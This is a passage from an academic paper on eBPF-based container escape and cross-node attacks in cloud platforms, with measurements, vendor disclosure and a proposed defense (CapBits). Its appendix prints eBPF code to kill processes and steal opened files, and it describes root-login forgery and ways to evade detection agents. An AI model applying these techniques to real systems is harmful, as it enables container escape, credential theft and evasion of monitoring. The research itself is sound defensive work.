Exploitable Cloud Container Products. Table 5 shows
their default permissions and exploitable products. Among
these services, only the Kubernetes services allow to deploy
containers with eBPF permissions which can be escaped via
eBPF attacks and the risks depend on whether these con-
tainers will be deployed online and exposed to the attackers.
Specifically, we also find that the Google Cloud Shell can be
exploited as it exposes the docker.sock to containers, allow-
ing attackers to create a privileged container to run eBPF. The
serverless products are now all using virtualized containers
which can isolate different users’ containers with separate
VMs. Only AWS Lambda and Google Cloud Run have the
CAP_SYS_ADMIN but Google Cloud Run does not compile
the eBPF subsystem within the kernel and AWS has disabled
the bpf system call. Alibaba’s serverless products can run
unprivileged eBPF such as Socket filter programs but lack
the capability to run eBPF tracing programs. Although these
products have exposed some dangerous features, such as al-
lowing the unshare syscall, it is still difficult for attackers
to exploit them via eBPF [17] or other container escape ex-
ploits [49] as they enable Seccomp and AppArmor to prevent
many dangerous syscalls (e.g., mount).
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Table 5: The eBPF permission of container based services on
various platforms. R: has root permission, B: enable the bpf
system call, C: has CAP_SYS_ADMIN capability, E: container
escape. : can escape the container but restricted by the VM,

: can escape the container and harm other containers.

Service Name R B C E
Cloud Shell
AWS Cloud Shell ✓ ✗ ✗
Alibaba Cloud Shell ✗ ✗ ✗
Azure Cloud Shell ✗ ✗ ✗

Google Cloud Shell ✓ ✓ ✓*

Serverless Function
AWS Lambda ✗ ✗ ✓
Alibaba Function Compute ✓ ✓ ✗
Azure Functions ✗ - ✗
Google Cloud Functions ✗ - ✗

Serverless Container
Aws Fargate ✓ ✗ ✗
Alibaba Elastic Container Instance ✓ ✓ ✗
Azure Container Instances ✓ - ✗
Google Cloud Run Service ✓ - ✓

Customized Kubernetes Cluster
Amazon Elastic Kubernetes Service (EKS) ✓ ✓ ✓

Alibaba Service for Kubernetes (ACK) ✓ ✓ ✓

Azure Kubernetes Service (AKS) ✓ ✓ ✓

Google Kubernetes Engine (GKE) ✓ ✓ ✓

* The capability is gained by exploiting the docker.sock (see § 5.3).

Table 6: The number and percentage of nodes that can be
affected (C: Create Pod, U: Update Pod, D: Delete Pod) by
insecure Pods.

Service #Pods #Vul
Pods

#DaemonSet
Pods

#Affected
Node
C U D (%)

AWS EKS 12 5 0 0 5 0 100%
Alibaba ACK 58 30 4 5 5 5 100%
Azure AKS 31 3 0 0 3 0 60%
Google GKE 28 0 0 0 0 0 0

Cross Nodes Attacks in Kubernetes Clusters. To inves-
tigate if these Kubernetes products are vulnerable to eBPF
based cross node attacks, we create a cluster of five worker
nodes on each of the four leading cloud providers and mea-
sure the number of insecure Pods that can be exploited to
perform cross node attacks. Note that we do not install any
third-party Kubernetes plugins but use their default settings.
Table 6 shows the detailed insecure Pods in each platform.
Three platforms contain insecure Pods that can be exploited
to launch cross-node attacks.
(1) Exploitable Clusters. Three platforms’ default Kubernetes
clusters (i.e., Alibaba ACK, Azure AKS, and AWS EKS) con-
tainers over-privileged Pods. If these Pods are exploited by
eBPF attacks, attackers can further exploit other nodes (be-
longing to the same tenant) by abusing these Pods’ service
accounts. The Alibaba ACK has four types of DaemonSet
Pods to host Prometheus metric services, storage backup ser-
vices, snapshot management services, and problem detecting
services, respectively. These Pods can all create, modify, and
delete Pods on every node even though some Pods do not actu-

Table 7: The vulnerable process numbers in the Linux host
VM for different virtualized-container runtime.

VM Env #Proc #Root Proc #Target Proc

AWS FireCracker 12 12 sshd
Alibaba Kata-Containers 5 4 kata-agent
Google Colab 24 15 dockerd, bash
Alpine Linux 15 11 cron, ash

ally requires these permissions, which indicates that attackers
can abuse the privileges of DaemonSet Pods to take control of
the entire clusters by compromising any node on the cluster.
In particular, all these Pods use the kube-system namespace
which is extremely dangerous because they may be abused to
attack the control panel. The Azure AKS has three types of
Pods with Pod updating permissions for managing the cloud,
each of which can affect three nodes. If any of these three
Pods are compromised by attackers via the eBPF attack, the
attackers can abuse the Pod updating permission to further
compromise three extra nodes by deploying malicious Pods
on these nodes. AWS EKS contains cluster-init Operator Pods
that can update all the five nodes of the cluster.
(2) Unexploitable Cases. All the Google GKE Pods do not
have cross-node operation permissions. Only one Pod can
modify the CofingMap but are not exploitable. Different to the
Alibaba ACK, GKE does not provide any default Operators
for metric or cluster management. This means users need to
install these tools by themselves which may bring new threats.

Exploring Virtualized Containers. Cloud vendors like AWS
and Alibaba offer high-performance, lightweight VM-based
container runtimes for their serverless products, such as AWS
FireCracker [28] and Alibaba Kata-Containers [47]. We in-
vestigate eBPF based container escape attacks and cross node
attacks on these products by locally deploying FireCracker
and Kata-Containers. If attackers can access a virtualized
container with eBPF permissions, they can still escape the
container by hijacking the host VM’s privileged processes
using eBPF. As shown in Table 7, we measure the resident
processes of the host VMs for different container runtimes.
The Alpine Linux is adopted by both Firecracker and Kata-
Containers as the host VM to isolate the containers. Even
though Alpine Linux only contains musl-libc and busybox,
we still find some target processes can be hijacked. gVisor
is only a user-space isolation mechanism and cannot prevent
eBPF from hijacking other processes. For products using
virtualized containers, the container no longer acts as a secu-
rity boundary, and escaping the container is not considered
a threat. However, we find that the Kata-Containers use Ku-
bernetes in the same ways with normal containers and some
Operator [18] Pods (e.g., Prometheus) need to be deployed
in the same VMs with other Pods. Attackers can still launch
Kubernetes cross-node attacks on Kata containers by abusing
the Operator pods residing in the victim VM.

Bypassing Cloud Security Products. All the four leading
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Table 8: The percentage of insecure Docker Hub repositories.

Dataset #Repos #C1 #C2 #C3 All

Top-300 300 2 1 6 9 (3%)
Newest 10000 187 3 179 369 (3.7%)
All [51] 343068 4353 431 3982 8766 (2.56%)

cloud providers have their own security centers, i.e., the Ama-
zon Security Hub for AWS, Microsoft Defender for Cloud,
Alibaba Security Center, and the Security Command Center
for Google Cloud. For the eBPF malware, only the Alibaba
Security Center can produce warning messages to inform that
a suspicious eBPF process is launched which may be mali-
cious and the other 3 platforms do not warn the launch of
eBPF malware. All the platforms include Alibaba failed to de-
tect and warn the cross container affecting (e.g., hijack, DoS,
or read memory) other processes. But some post-exploitations
can be alerted by several platforms, e.g., Alibaba can notice
reverse shells and copy or move a file, and Azure can notice
the download and execution of a remote file via curl.

Currently, all the cloud security centers do not support set-
ting enforcement policies to prevent eBPF attacks. Attackers
can easily use eBPF to suppress or blind the security centers’
user space agents. For instance, the Alibaba Security Center
runs a userspace agent (i.e., AliyunDun) which can be easily
terminated or disrupted by eBPF in ways of intercepting the
message channels (e.g., KProbes and sockets) or performing
TOUTOC attacks to escape detection.

5.3 RQ3: The Prevalence of Enabling eBPF
We find three kinds of Docker configs that can lead
to eBPF permission leakage: (1) running Docker with
the -privileged flag (C1), which grants all capabilities
to the container, (2) running Docker with the -cap-add
SYS_ADMIN flag (C2), which grants CAP_SYS_ADMIN to
the container, and (3) exposing the docker.sock to the con-
tainer, which allows attackers to create a privileged container
with the eBPF permission using the Docker API (C3). We
measure container repositories on Docker Hub to understand
how many containers in the wild use these insecure configs.

If a container is run with any of the three configs, it can be
misused to perform eBPF attacks. We analyze the documents
of the Docker Hub repositories and check their docker run
command to discern if they support eBPF. As shown in Ta-
ble 8, we consider three datasets, the Top-300 dataset contains
300 most downloaded repositories collected in March 2023,
the Newest dataset contains 10000 newly updated reposito-
ries collected in March 2023, and the All [51] dataset col-
lected all Docker Hub projects in 2020 and contains 975859
repositories. However, 63% repositories in the All dataset
are inactive and have no documentation, making it difficult
to distinguish their Docker commands. Consequently, we fo-
cus on the left 343068 active projects (37%). About 2.5%

Table 9: The offensive helpers used by popular eBPF tools.

Helpers Tools

bpf_probe_write_user Datadog
bpf_probe_read Falco, Datadog, Tetragon, Inspektor, Pixie
bpf_override_return Tetragon
bpf_send_signal Tetragon

of all active Docker Hub repositories have eBPF permission,
while this number is over 3% for repositories in the Top 300
Highest Download and 10000 Latest Update datasets. This
number is also significant in Kubernetes containers. Blaise et
al. [31] measure the Kubernetes Helm repositories and find
about 4.7% projects need to be run by privileged containers
(C1). We further analyze the reasons why containers use these
configs in appendix D.

5.4 RQ4: eBPF Features Used by Cloud
eBPF cross-container attacks stem from the eBPF features
that are unrestricted by containers and allow offensive eBPF
helpers to tamper with processes outside the container. To
understand whether these features are actually required by the
existing cloud, we analyze 8 popular eBPF cloud network and
security products, including Cilium [4], Calcio [3], Falco [12],
Hubble, Datadog, Tetragon, Inspektor-Gadget, and Pixie.

Among the 8 products, Cilium, Calico, and Hubble focus
on managing the network connections of containers and only
employ eBPF XDP/TC programs without using the eBPF
tracing programs. As shown in Table 9, the other 5 products
all rely on eBPF tracing and one or more offensive helpers
for cloud security and monitoring. Datadog is a container
security monitor tool and uses the bpf_probe_write_user
helper to exchange file system entry states with userspace.
Tetragon implements access control enforcement by modi-
fying other processes’ system call return value or sending
signals to kill processes. Specifically, the bpf_probe_read
helper is required by all 5 tools for accessing other processes’
userspace data such as Socket data, syscall arguments, and
processes’ exit code. The eBPF security tools are all deployed
inside the container and benefit from eBPF’s cross-container
tracing capability to monitor processes outside the container.
Disabling these features can make Kubernetes debugging
tools such as Pixie and Inspektor-Gadget unusable.

5.5 Responsible Disclosure
We have disclosed all the vulnerabilities to the related ven-
dors. For the container escape attacks discussed in § 5.1, all
5 vendors have confirmed the problem. Google Cloud Shell,
LanQiao, Gradient, and EduCoder have temporarily addressed
this issue by restricting eBPF permissions. Google Colab and
JetBrains Datalore claim that their threat model takes into
account the ability of attackers to take full control of the VM
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and not need to take any action. For the Kubernetes cross
node attacks discussed in § 5.2, Azure, AWS, and Alibaba
have confirmed the issues and plan to remove these overprivi-
leged Pods. We communicate with the Docker and Kubernetes
communities and help warn their users to avoid deploying
containers with insecure configs (see § 5.3) and eBPF features
enabled.

6 Mitigation

eBPF shares the CAP_SYS_ADMIN capability with other fea-
tures (discussed in Appendix D) and may be inadvertently
enabled by containers. Currently, the containers with eBPF
permissions can utilize all the offensive eBPF features and
may be abused by the attackers to perform various cross con-
tainer attacks. With the increasing popularity of eBPF-based
container tools, globally disabling all the eBPF offensive fea-
tures in the kernel becomes impractical, as some features like
bpf_probe_read are also required by existing eBPF tools.
Therefore, it is essential to implement a fine-grained access
control mechanism for eBPF to selectively minimize the eBPF
features for the trusted processes. However, users may still
need to use eBPF programs with offensive features (e.g., Data-
dog). To thoroughly avoid sensitive processes being harmed
by any trusted/untrusted eBPF programs, the eBPF permis-
sion model should make the offensive eBPF features cannot
violate certain processes.

6.1 Process Attributes Based Access Control
To mitigate eBPF malware on Linux hosts, LSM-bpf based
tools [9, 20] are proposed to implement allow-list policies for
confining the eBPF features, eBPF helpers, and eBPF maps
of specific processes. The main limitation of LSM-based solu-
tions is that they can only disable or enable eBPF features, but
cannot protect the victim processes, while powerful untrusted
eBPF programs can still harm other processes. To address
this issue, we propose a lightweight and efficient new eBPF
permission model called CapBits, which can not only control
the eBPF properties of a process but also protects the victim
processes from being violated by other process’s eBPF offen-
sive features. For example, a program can set the attribute
bits to reject being traced by other programs, which can help
sensitive processes such as ssh to prevent other programs
from stealing its private key via eBPF tracing features.
LSM Based eBPF Access Control. The Linux Security
Module (LSM) is a framework for enhancing kernel security
by adding security hooks to predefined kernel functions. The
eBPF LSM subsystem (LSM-bpf) allows users to attach eBPF
code to kernel LSM hooks. Existing tools such as eBPF-
Monitor [9] use LSM-bpf to implement fine-grained access
control for eBPF features, eBPF helpers, and eBPF maps.
These approaches add custom eBPF permission checks to the
security_bpf_enter LSM hook that is invoked each time

Table 10: The latency of different features in different defense
solutions (- refers to not supporting such function).

Default CapBit LSM LSM-bpf

Program-Load 98 ns 110 ns 479 ns 471 ns
Code/Map fd 110 ns 103 ns 533 ns 891 ns
Helper - 100 ns 524 ns 300 ns
Namespace - 113 ns - -

the bpf syscall is used. We reimplement them in LSM C code
as a kernel module for performance evaluation.
CapBits Design and Implementation. CapBits assigns two
bitmap fields to the task_struct of a process. The first field,
cap_bits, manages the available eBPF program types, helper
functions, and tracing scopes (e.g., namespace) of a process.
The second field, allow_bits, specifies which eBPF features
(e.g., tracing) from other eBPF programs can work on this
process. Each bit of these fields denotes the enable (1) or
disable (0) of a feature.

Besides fine-grained control of a process’s eBPF offen-
sive features, CapBits can also use these fields to restrict the
influence scope (e.g., namespaces, processes) of malicious
eBPF programs. Containers can set the CapBits fields for
each process during creation. The kernel checks specific bits
in the relevant eBPF VM implementation to regulate a pro-
cess’s access to various eBPF features. When using eBPF
trace features to probe a target process, the kernel first checks
the cap_bits of the eBPF program’s installation process to
verify its capability. Next, kernel checks the target process’s
allow_bits to verify if it permits to be traced by eBPF. For
instance, the attribute bits of both the eBPF program’s installer
and the probed process are checked in the trace_call_bpf
function to determine if a KProbe should be triggered. In
addition, processes can set allow_bits to make themselves
untraceable by certain eBPF features, such as denying the
bpf_probe_write_user to modify their memory.

6.2 Evaluation

We compare CapBits with the LSM/LSM-bpf eBPF access
control mechanisms in terms of performance, security, and
usability. All experiments are run in Linux VMs with an Intel
i7-1195G7 CPU (2.90 GHz) and 16GB RAM. The baseline
is kernel’s capabilities mechanism (default).
Micro-Performance Evaluation. We evaluate the micro per-
formance impact of verifying an allow-list process’ access
to various eBPF features in different defense mechanisms
by analyzing the incurred delays of access control functions
for eBPF program types, eBPF code/map fd access, eBPF
helpers, and namespaces in eBPF tracing programs. To pre-
cisely measure the CPU cycles of these functions, we add
rdtsc time count instructions at the start and end of each
function in the kernel and calculate an average time by run-
ning each function 100 times. Table 10 shows the micro
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Figure 7: The CDF of Cilium packet latency.

performance of each feature in different defenses. CapBits’s
permission check delay is similar to the kernel’s default capa-
bility check, e.g., ns_capable(). LSM/LSM-bpf results in a
delay 4-8 times larger than CapBits.
Macro-Performance Evaluation. We evaluate the macro-
level performance impact of the defenses by measuring Cil-
ium’s network packet processing overhead. The experiment
is conducted on a Kubernetes cluster with one control plane
node and two worker nodes on VMs running our custom
kernel. We deploy Cilium at the control plane node (server)
and set up 100 Cilium egress packet filtering rules and send
requests from the worker nodes (clients). On the server, we
start the iperf3 in server mode and measure the node’s CPU
utilization (shown in Figure 6) and packet latency (shown
in Figure 7). CapBits incurs less than 5% overhead in both
CPU usage and packet latency, while LSM/LSM-bpf incur
over 31% CPU overhead and 16% latency overhead. This is
because the current LSM eBPF permission check can only be
added at the beginning of the bpf syscall and is invoked by
userspace programs’ every eBPF operation including access
maps, while CapBits’s such checks are only invoked during
the eBPF programs’ installation.
Security Evaluation. Both LSM-based approaches and Cap-
Bits can prevent untrusted eBPF programs from using offen-
sive eBPF features via allow-list policies. However, LSM-
based approaches need to receive the policies from userspace
and an allow-list process is identified by file path, PID, and

namespace, which can be easily faked in a container. Attack-
ers can masquerade as an allow list process running in the
same container by creating a process with the same identifiers
(e.g., path, PID) to confuse LSM policies. We find that all
existing eBPF access control tools [5,9,20,27] are vulnerable
to this kind of process identity confusion attack. A potential
mitigation is modifying the container runtime to assign allow-
list processes with a unique identifier (UUID) and checking
this UUID in kernel’s LSM hooks. CapBits can resist this
attack as a process’s permission attribute fields are stored in
the kernel and can only be modified by host’s privileged pro-
cesses (e.g., setcap). Processes created by attackers cannot
modify these fields to elevate their eBPF permissions.
Usability. As discussed in § 5.4, some famous eBPF pro-
grams also use some offensive features. The allow-list pro-
cesses may have the ability to launch eBPF attacks and this
may pose a threat from supply chain attacks [40, 50]. CapBits
suppress this risk by restricting an eBPF program’s working
namespace and enabling sensitive processes to block eBPF
probing. Compared to existing LSM tools, CapBits can sup-
port all existing eBPF tools to use offensive eBPF features
without degrading the security of other processes.

7 Related Work

eBPF Attacks. The eBPF offensive features and eBPF mal-
ware are first discussed in DEFCON 27 [34] and have been
extensively discussed [2, 29, 36, 37] in the Linux host to build
rootkits. We discover that these features can also be used to
exploit the container’s external processes, and further assess
their hazards to real-world cloud environments. Moreover,
their control flow hijacking approaches [29, 34] cannot work
in the containers (discussed in §4.1) and we propose new
approaches of container escape attacks. Besides abusing the
offensive features, Kirzner et. al. [44] propose an eBPF based
side channel attack to leak user data by triggering speculative
execution via eBPF code. Our attack not only provides a more
efficient way to read both userspace and kernel-space sensi-
tive data, but also allows arbitrary modification of userspace
memory while requiring the same privileges as them.
eBPF Security. Several works [38, 45, 54] have been pro-
posed to improve the security and performance of eBPF. Jit-
terbug [54] leverages formal verification to check the correct-
ness of different architectures’ eBPF JIT compilers. Their
approaches can significantly reduce the eBPF’s vulnerabili-
ties [14] which may be used to exploit the kernel. But their
method needs to decouple the JIT compiler’s code from the
kernel and verify it as an independent module, which cannot
work for the modules which are tightly entangled with the
kernel, e.g., the eBPF verifier. Harishankar et al. [60] add a
new eBPF verifier abstract domain for the Linux tnum data
structure. Elazar et al. [38] implement a new abstract inter-
preter based eBPF verifier to more efficiently vet the insecure
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eBPF programs. Our attacks only use valid eBPF programs
and do not exploit any eBPF JIT or verifier’s vulnerabilities.
Container Security. The existing research on container se-
curity falls into three areas, which are attacks on contain-
ers [57, 61], analysis and measurement of the insecure con-
tainers [49, 50, 62], and container security enforcement [35,
42,48,53]. Yang et al. [61] perform DoS attack on the shared-
kernel containers by exhausting the global kernel variables
and resources in one container. Gringotts [57] introduces a
novel Denial-of-Wallet (i.e., degrade other users’ computing
resource) attack to serverless computing services by slowing
down the memory reading performance of all the VM and
containers on the same node which share the same CPUs. Lin
et al. [49] measure the container exploitation and summary
the general container escape attack steps. Unlike these attacks,
our eBPF attacks do not exploit the kernel. Instead, we attack
the processes outside the container. Liu et al. [50] measure the
typosquatting docker repositories and find that the malicious
images may be downloaded mistakenly by the users. Minna
et al. [52] conclude the security implications in Kubernetes’
network layer, which can also be exploited via eBPF.
Syscall Security. Since our eBPF attacks can violate the
syscall arguments or results of other processes, e.g., over-
ride their file reading contents, or manipulate the heap point-
ers to conduct Iago [32] attacks, we discuss if the existing
syscall security works can prevent these attacks. Ghavamnia
et al. [39] implement multiple Seccomp profiles for the pro-
gram and change the Seccomp configuration to minimize the
syscall requirements at different execution phases. Draco [58]
uses a new hardware architecture to accelerate Seccomp’s
syscall vetting. Blackbox [42] can prevent eBPF to violate the
syscalls arguments by encrypting the data. Emilia [33] uses
fuzzing test to catch the Iago vulnerabilities in TEE’s legacy
code (i.e., code from normal applications). The approach
can reduce the attack surface (i.e., vulnerable processes) of
eBPF-based Iago attacks. Proxos [59] allows defining rules
to configure the untrusted syscall interfaces and use a private
VM to handle them. With their method, the eBPF attacks can
no longer damage other processes’ syscalls if these syscalls
are set as untrusted ones and run in a private VM.
System Extensions via eBPF. eBPF is now widely used to
extend various aspects of the system, increasing the need
to enable eBPF in containers. For instance, new eBPF pro-
gram types have been added to extend the system in various
areas [30, 41, 55, 65]. ExtFuse [30] implements an efficient
and flexible kernel interface for the FUSE file systems via
eBPF. XRP [65] uses eBPF to provide a new datapath that
can offload the storage operations to the kernel and bypass
the traditional kernel storage stacks. SYNCORD [55] allows
the applications using the eBPF extensions to customize the
kernel locks from user spaces for different hardware and sce-
narios. RapidPatch [41] uses eBPF to hotpatch the embedded
devices and can use one eBPF bytecode patch to fix the same
vulnerability across heterogeneous devices.

8 Discussion

Most eBPF features are designed to run on kernel’s shared
execution paths and have no awareness of the container’s
isolation. These features are safe to the kernel as they can not
alter any kernel status. When the offensive features are added
to modify the user space processes and not restricted by the
containers, the eBPF cross container attacks emerge. People
know eBPF is dangerous [36, 37] and requires capabilities
for using it. But they do not know eBPF can be abused to
break the container. Due to the resource limitation, not all
the multiple-user container services use a separate VM to
further isolate the container and many services are still hosted
in shared-kernel containers. The widely usage of eBPF in
containers (e.g., Cilium) enlarges this threat. Actually, most
eBPF tools only use benign eBPF features. eBPF needs a
better permission model to selectively enable some useful
features to facilitate system observability.
Lessons Learned. eBPF only has one permission level and
is not designed to be utilized [26] by unprivileged users (i.e.,
without the necessary capabilities). This is reasonable for
Linux host as only root users have the capabilities to run
eBPF. However, to host various types of applications, some
containers have to grant these capabilities and the eBPF per-
missions may be exposed to attackers. The offensive eBPF
helpers (documents [23] say that they are only for experi-
ments) make eBPF dangerous to be used in container envi-
ronments, especially when lots of security tools also rely on
eBPF. These tools cannot defend against eBPF attacks from
the same security level (e.g., use eBPF to prevent eBPF-based
post-exploitations), and difficult to distinguish benign eBPF
and malicious eBPF via vetting the eBPF code. Currently,
most containers have to disable the bpf syscall to prevent
eBPF abuse, which severely limits the development of eBPF.
Thus, a better eBPF permission model is required to ensure
eBPF can only be used by trusted programs for security or
debugging purposes.

9 Conclusion

In this paper, we uncover the eBPF cross-container attacks,
which use eBPF tracing features to exploit the processes out-
side the container to escape the container or even compromise
the cluster. Using separate VMs to isolate different tenants’
containers or using virtualized containers can make it harm-
less to escape the container. But a few multiple-user real-
world online services are still deployed in shared-kernel envi-
ronments and are exploitable. Moreover, some of the cloud
vendors’ container services are risky under the default config-
uration. To make matters worse, the malicious eBPF programs
can easily break the existing security tools’ kernel trace points
and user space message channels. We systematically study the
attacks and reveal the threats. Finally, we propose fine-grained
eBPF access control to mitigate this problem.
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A eBPF Offensive Features

With the development of Linux eBPF, it can now obtain the
kernel status, modify network packets, or alter user space
programs. Some eBPF features [2, 34, 37] are dangerous to
Linux hosts and containers which may be misused by the
attackers. The normal eBPF program types, including socket
filter and cgroup (i.e., CGROUP_SKB), do not require any
permissions because they can just set filter rules to copy socket
packets to user space and cannot alter the system. However,
most Linux distributions (e.g., Ubuntu [6], SUSE) disable
these features to avoid them being abused by unprivileged
users to exploit the kernel vulnerabilities of eBPF. The other
eBPF program types all need permissions and can only be
used by privileged users. They provide powerful functions
such as obtaining the kernel status, managing the network
data path, or carrying out offensive operations to affect other

processes. We elaborate on all the eBPF features that can be
used to perform malicious behaviors as follows:
eBPF XDP and TC Program. The eBPF XDP and TC (traffic
control) programs are attached to a network interface for
processing packets, such as drop packets, redirect packets,
and even modify packets. These functions can affect the user
space processes by intercepting their network connections.
However, they can not access the network interfaces of the
hosts or other containers from the container.
eBPF LIRC Program. The eBPF LIRC [13] programs can
implement customize infrared (IR) decoding or encoding ex-
tends via eBPF. This feature may be abused to inject keyboard
events by the attackers. Fortunately, it is default disabled by
most Linux distributions such as Ubuntu.
eBPF LSM Program. In the past, the LSM hooks cannot
be set via Linux kernel modules. The eBPF LSM programs
introduce a new way to set LSM hooks and define access
control and audit policies via eBPF code. This feature can
be used inside the container to manage the resources of the
whole kernel, including other containers and the host.
eBPF KProbe/Kretprobe and Tracepoint Program (trac-
ing features). The eBPF KProbe/Tracing program can be
attached to a specific system call or kernel function and trig-
gered every time when the system call or function is invoked
by a process. These programs provide several eBPF helpers
(shown in Table 2) which can cross-container affect external
processes.
eBPF UProbe. The eBPF UProbe program allows installing
hooks at a process’s user space addresses. It can only hook the
process inside the containers as it needs to obtain the symbols
from the program’s binary file.

B Detailed Exploits for Local Containers

B.1 DoS Attack
SEC("raw_tracepoint/sys_enter")

int tp_enter(struct bpf_raw_tracepoint_args *ctx) {

    if (!is_target_process()) {
        bpf_send_signal(SIGKILL);

    }

    return 0;

}

Figure 8: Code snippet for killing specific process via eBPF.

D1: Killing process by sending signals. As shown in Fig-
ure 8, malicious eBPF tracing programs can send a SIGKILL
signal to kill arbitrary processes outside the container, when
this process triggers any eBPF hooks. The signal is sent from
the kernel, enabling it to terminate processes running under
root user privileges.
D2: Abusing LSM rules to crash processes. The eBPF LSM
subsystem allows users to attach eBPF programs at various
LSM hooks to check permissions for files, processes, and net-
works. When a kernel function with an LSM hook is invoked,
the kernel will execute the eBPF program at this LSM hook
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to decide if the current function call is permitted. Attackers
can write malicious eBPF LSM programs to set illegal ac-
cess control rules to prevent a specific process from accessing
the necessary resource. For instance, they can paralyze one
program by disallowing it to open files, bind ports, or spawn
sub-processes.
D3: Altering system call arguments or return code. Similar
to the Iago [32] attack, victim processes’ system call argu-
ments can be modified by eBPF Tracepoint programs when
entering or exiting the system calls. Attackers can disrupt pro-
cess functionality by passing invalid system call arguments.
Moreover, malicious eBPF tracing programs can exploit the
kernel’s error injection feature to prevent victim processes
from invoking any system calls by overriding their return
codes.

B.2 Information Theft Attack
SEC("raw_tracepoint/sys_exit")

int tp_exit(struct bpf_raw_tracepoint_args *ctx) {

    unsigned long svc;

    struct pt_regs *regs=(struct pt_regs*)(ctx->args[0]);

    bpf_probe_read(&svc, sizeof(svc), &regs->orig_ax);

    // step-1: record the fd of sensitive file

    if (svc == NR_openat) {

        save_fd_for_sensitive_file(regs);

    }

    // step-2: steal sensitive file content

    if (svc == NR_read) {

        if (is_sensitive_fd(regs)) {

            char *p = NULL; // ptr for read buf

            char buf[LOG_ENTRY_SIZE] = {0};

            int sz = 0; // read size

            bpf_probe_read(&p, sizeof(p), &regs->si);

            bpf_probe_read(&sz, sizeof(sz), &regs->ax);

            BOUNDED_LOOP (sz > 0) {

                sz -= LOG_ENTRY_SIZE;

                p += LOG_ENTRY_SIZE;

                bpf_probe_read_str(&buf, sizeof(buf), p);

                // send to user space via eBPF map 

                record_data(EVENT_FILE, buf);

            }

        }

    }

}

Figure 9: Code snippet for stealing sensitive file via eBPF.

T1: Stealing processes’ opened files. As shown in Figure 9,
attackers can attache a Tracepoint eBPF program to the sys-
tem call exit point inside the container and observes the read
system call. This eBPF program will be triggered whenever
a read system call is finished. By checking the pid and pro-
gram name, the attackers can identify the sensitive processes
both inside or outside of the container and obtain the reading
buffer from the system call arguments. Then, the attackers
can use the eBPF bpf_probe_read helper function, which
allows reading arbitrary memory of both kernel space and
user space, to obtain the sensitive data from the reading buffer
pointers. Finally, attackers can transfer these data to their user
space eBPF control program via eBPF map. Thereafter, the
attackers can get the content of any opened files even if these

files are isolated by the mount namespace of the container’s
file system, e.g., extracting the private key when it is opened
by OpenSSL.
T2: Stealing kernel data structure addresses. Attackers
can read the kernel data structure addresses by attaching
eBPF KProbe program to various kernel functions with eBPF
helpers. These kernel data structures can assist attackers to
bypass the KALSR and stably obtain the kernel base address
and sensitive kernel functions’ addresses, such as some mostly
used kernel exploitation functions [19] (e.g., commit_cred
and prepare_kernel_cred). With these functions, they can
construct ROP chains for privilege escalation. When using the
traditional kernel exploit technologies [63], it is challenging
to leak these addresses via spraying the unstable kernel heap.
Note that the user space memory of the current process can
also be dumped via the bpf_probe_read helper. Attackers
can steal the secrets in memory or dump the code and stack
for further exploitation, e.g., inject shellcode and construct
ROP chain.

B.3 Container Escape Attacks

Clibrary_fd =
openat$(/lib/x86_64-linux-gnu/libc.so.6)
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Figure 10: The workflow and stack layout of eBPF-based
ROP attack.

E3: Shellcode injection during mprotect system call. Shell-
code injection may still be practical under the modern Linux
NX. We notice in some situations, programs need to change
their memory executable/write attribute at runtime. For in-
stance, the programs with Javascript runtime, such as NodeJS
and Chrome, use Just-In-Time (JIT) compilation to generate
binary code which is stored in heap and is changed to exe-
cutable during runtime. The UPX parcker programs also need
to change the writable memory to execution only after un-
packing the real program to memory. With the help of eBPF,
we can capture a timing to inject the shellcode right before
the memory is changed from writable to executable. As the
memory attribute is changed by the mprotect system call, we
can use a eBPF tracepoint program to hook the mprotect of all
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bash malicious.sh

do_syscall(NR_openat, "malicious.sh", ...)

Defender's Hook

1. attackers change
the file to benign.sh

open("benign.sh")

open("malicious.sh") Attacker's Hook2

3. attackers revert the
file to malicious.sh

Attacker's Hook1

2. defeners check the 
bash file benign.sh

4. the actually opened
file is malicious.sh

open("malicious.sh")

Figure 11: Attackers can revert the system calls arguments af-
ter the defender checks by placing a hook (Attacker’s Hook2)
after the defender’s hook.

the processes and inject shellcode to them before the memory
is set to readonly. If the affected process is running in the host
by root user, the attackers can escape the container to execute
malicious code by hijacking this process.
E4: Forging credentials to login as root via SSH. The sudo
and ssh password verification need to read the access con-
trol configures (i.e., /etc/passwd, /etc/shadow, /etc/sudoers).
Attackers can forge the file content by hijacking the read
system call of these processes and inserting fake passwords
into these files. Thus, the sudo and ssh can be deceived, and
the attackers login the host or use sudo to change to root with
false password. Even though the attackers already have the
root permission inside the container, they still need to login
to the host to obtain real root permission. Thus, this attack
requires the host to have an accessible IP for ssh login.

C Bypass the Defenders’ Kernel Modules

Time of check to time of use (TOCTOU). The defenders
receive massive tracing messages from the kernel modules.
To reduce CPU usage, the defenders usually process the mes-
sages periodically and give way to other OS tasks after finish-
ing a scan, e.g. the AliYunDun starts a scan every six seconds.
The log buffer (i.e., trace pipe, eBPF ringbuffer map, and perf
events) may be full, and the old logs are overwritten by the
new content. Attackers can launch attacks immediately after
AliYunDun finishes reading the trace pipe and starts checking

the logs. They first need to produce numerous benign behav-
iors to exhaust the log buffers and then perform malicious
behaviors, e.g., invoking the bpf to load malicious eBPF pro-
grams. The sensitive events are ignored by the defenders due
to message loss.
Hook Order Interference Attack. As shown in Figure 11, at-
tackers can install their hooks after the defender’s hook at the
same place. They can inject malicious payload into a benign
process by violating the system arguments after checking by
the defenders. In particular, they use two hooks to conceal
their own behaviors by converting the input from malicious
to benign before the checking and revert it after checking.
This attack is practical for most defenders who use KProbe
or Tracepoint hooks. At the same hook point, attackers can
install a RawTracepoint hook which is definitely triggered
before the defenders’ KProbe or Tracepoint hook and install
a the same type hook with the defenders which is triggered
after the defenders’ hook. However, if the defenders also use
RawTracepoint hook, attackers need first kill the defender’s
process to install hooks earlier than the defenders. Note that
this attack can only hide the system call arguments rather
than the system call itself. The defenders can still obtain the
system call sequences.

D Reasons for Insecure Container Configs

We further study the root causes of using the aforementioned
three insecure container configs. First, some containers re-
quire kernel-level capabilities to conduct kernel-level opera-
tions, such as mounting file systems [1,25] and modifying net-
work settings [7]. Specifically, telegraf requires docker.sock
to monitor other docker containers, dynatrace/oneagent uses
privileged option to set environment credentials, and docker
in docker utilizes CAP_SYS_ADMIN to configure the net-
work. Second, security tools are installed inside containers to
create an isolated environment and have access to the host sys-
tem. For example, newrelic/nrsysmond runs New Relic’s free
Linux Server Monitor (LSM) via requesting privileged option
and docker.sock. Third, some containers require privileges for
debugging and troubleshooting issues on the host system. For
instance, Cross builds in privileged docker when the target
platform is Android arch_32bit because unprivileged docker
